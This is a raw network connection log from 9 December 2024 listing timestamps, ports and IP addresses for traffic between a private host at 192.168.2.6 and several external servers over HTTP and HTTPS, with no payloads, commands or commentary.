Dec 9, 2024 21:09:54.374773026 CET	49969	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:54.627438068 CET	49996	443	192.168.2.6	35.190.72.216
Dec 9, 2024 21:09:54.627507925 CET	443	49996	35.190.72.216	192.168.2.6
Dec 9, 2024 21:09:54.630522013 CET	49996	443	192.168.2.6	35.190.72.216
Dec 9, 2024 21:09:54.634943962 CET	49996	443	192.168.2.6	35.190.72.216
Dec 9, 2024 21:09:54.634978056 CET	443	49996	35.190.72.216	192.168.2.6
Dec 9, 2024 21:09:54.748204947 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:54.748280048 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:54.749459982 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:54.749480963 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:54.749725103 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:54.750912905 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:54.750941992 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:54.750993013 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.293287039 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.294841051 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:55.331002951 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:55.331047058 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.331345081 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.333971024 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:55.334079027 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:55.334115028 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.334218979 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:55.334228992 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.507308960 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.507416010 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.507483006 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:55.507662058 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:55.507683992 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.507695913 CET	49992	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:55.507700920 CET	443	49992	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:55.510150909 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:55.629707098 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:55.630494118 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:55.633801937 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:55.754245996 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:55.871206045 CET	443	49996	35.190.72.216	192.168.2.6
Dec 9, 2024 21:09:55.881620884 CET	49996	443	192.168.2.6	35.190.72.216
Dec 9, 2024 21:09:55.904158115 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:55.909380913 CET	49996	443	192.168.2.6	35.190.72.216
Dec 9, 2024 21:09:55.909396887 CET	443	49996	35.190.72.216	192.168.2.6
Dec 9, 2024 21:09:55.909502983 CET	49996	443	192.168.2.6	35.190.72.216
Dec 9, 2024 21:09:55.909538984 CET	443	49996	35.190.72.216	192.168.2.6
Dec 9, 2024 21:09:55.922020912 CET	49996	443	192.168.2.6	35.190.72.216
Dec 9, 2024 21:09:56.023983002 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:56.249600887 CET	50002	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:56.249659061 CET	443	50002	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:56.252420902 CET	50002	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:56.253782988 CET	50002	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:56.253817081 CET	443	50002	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:56.254286051 CET	50003	80	192.168.2.6	34.107.221.82
Dec 9, 2024 21:09:56.298830986 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:56.298938036 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:56.304721117 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:56.314444065 CET	49994	443	192.168.2.6	104.21.48.1
Dec 9, 2024 21:09:56.314476013 CET	443	49994	104.21.48.1	192.168.2.6
Dec 9, 2024 21:09:56.373667002 CET	80	50003	34.107.221.82	192.168.2.6
Dec 9, 2024 21:09:56.382637024 CET	50003	80	192.168.2.6	34.107.221.82
Dec 9, 2024 21:09:56.382740021 CET	50003	80	192.168.2.6	34.107.221.82
Dec 9, 2024 21:09:56.383019924 CET	50004	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:56.394156933 CET	80	49957	80.82.65.70	192.168.2.6
Dec 9, 2024 21:09:56.397233009 CET	49957	80	192.168.2.6	80.82.65.70
Dec 9, 2024 21:09:56.502161980 CET	80	50003	34.107.221.82	192.168.2.6
Dec 9, 2024 21:09:56.502293110 CET	80	50004	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:56.504373074 CET	50004	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:56.504596949 CET	50004	80	192.168.2.6	185.215.113.206
Dec 9, 2024 21:09:56.625889063 CET	80	50004	185.215.113.206	192.168.2.6
Dec 9, 2024 21:09:56.632118940 CET	50006	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:56.632163048 CET	443	50006	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:56.641611099 CET	50006	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:56.643193960 CET	50006	443	192.168.2.6	142.250.181.78
Dec 9, 2024 21:09:56.643208981 CET	443	50006	142.250.181.78	192.168.2.6
Dec 9, 2024 21:09:56.981374979 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.981391907 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.981462955 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:56.984622955 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.984713078 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.984724045 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.984766960 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:56.987339020 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.987390041 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.987391949 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:56.987400055 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.987435102 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:56.990658998 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.990752935 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:56.998265028 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.103193998 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.103228092 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.103285074 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.107337952 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.107785940 CET	49965	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:57.108115911 CET	50008	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:57.115891933 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.115931988 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.115937948 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.158572912 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.176616907 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.176749945 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.177262068 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.180779934 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.180847883 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.180895090 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.187339067 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.187450886 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.187498093 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.195734978 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.195843935 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.195884943 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.204206944 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.204243898 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.204288960 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.212579966 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.212641954 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.212682009 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.221013069 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.221115112 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.221420050 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.227538109 CET	80	50008	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:57.227555037 CET	80	49965	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:57.228446960 CET	50008	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:57.228504896 CET	49965	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:57.228975058 CET	50008	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:57.229587078 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.229640007 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.237791061 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.238038063 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.243283033 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.243669033 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.246366978 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.246392012 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.254650116 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.255069017 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.305775881 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.348741055 CET	80	50008	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:57.354023933 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.354108095 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.354242086 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.358134031 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.368556023 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.368618965 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.368839979 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.370847940 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.371009111 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.374813080 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.375543118 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.375652075 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.375832081 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.380366087 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.380409956 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.380534887 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.384999037 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.385051966 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.385082960 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.389566898 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.389621973 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.390384912 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.394188881 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.394232035 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.394289017 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.398895025 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.398905993 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.400420904 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.403451920 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.403496981 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.403558016 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.408099890 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.408247948 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.409394026 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.412839890 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.412931919 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.412971973 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.417357922 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.417421103 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.417465925 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.422071934 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.422147036 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.422538042 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.426635027 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.426697016 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.426778078 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.431361914 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.431490898 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.432234049 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.436103106 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.436213017 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.436219931 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.440618992 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.440737009 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.441072941 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.445180893 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.445303917 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.446677923 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.449822903 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.449897051 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.449953079 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.454646111 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.454767942 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.455337048 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.459125042 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.459199905 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.473535061 CET	80	50003	34.107.221.82	192.168.2.6
Dec 9, 2024 21:09:57.487684011 CET	50010	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:57.487720966 CET	443	50010	34.117.188.166	192.168.2.6
Dec 9, 2024 21:09:57.488080025 CET	50010	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:57.489464045 CET	50010	443	192.168.2.6	34.117.188.166
Dec 9, 2024 21:09:57.489483118 CET	443	50010	34.117.188.166	192.168.2.6
Dec 9, 2024 21:09:57.521991014 CET	50003	80	192.168.2.6	34.107.221.82
Dec 9, 2024 21:09:57.546200037 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.546267033 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.546323061 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.548321962 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.548491001 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.548544884 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.552251101 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.560368061 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.560379028 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.560435057 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.561388969 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.561439037 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.561517954 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.564974070 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.565023899 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.565059900 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.568521023 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.568574905 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.568589926 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.571966887 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.572041035 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.572293997 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.575433016 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.575479031 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.575494051 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.578901052 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.578949928 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.578984022 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.582324982 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.582382917 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.585656881 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.585813046 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.589025021 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.589273930 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.591224909 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.591651917 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.592257023 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.592313051 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.592396021 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.595305920 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.595356941 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.595427990 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.598619938 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.598676920 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.598695993 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.602018118 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.602091074 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.602116108 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.605169058 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.605214119 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.605240107 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.608355045 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.608450890 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.611545086 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.611671925 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.614837885 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.614945889 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.618123055 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.618448019 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.621367931 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.621495008 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.622473001 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.623393059 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.624772072 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.624900103 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.625418901 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.627829075 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.627964973 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.631135941 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.631256104 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.634464025 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.634533882 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.637000084 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.637180090 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.637629986 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.637655020 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.637684107 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.640889883 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.640927076 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.640939951 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.644165993 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.644213915 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.644253969 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.647397041 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.647459984 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.647500038 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.650687933 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.650738955 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.650767088 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.653907061 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.653959990 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.654040098 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.657100916 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.657160044 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.657196045 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.660417080 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.660464048 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.660526991 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.663655043 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.663770914 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.663777113 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.666876078 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.666980028 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.667186975 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.742268085 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.742327929 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.742384911 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.743916035 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.744029999 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.744450092 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.746838093 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.746959925 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.747014046 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.749926090 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.749984026 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.750051975 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.752372026 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.752459049 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.752506018 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.754838943 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.755259991 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.755295992 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.755383968 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.757746935 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.757947922 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.757982969 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.760288000 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.760346889 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.760375977 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.762728930 CET	80	50000	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:57.762785912 CET	50000	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:57.762923956 CET	80	50000	185.215.113.16	192.168.2.6
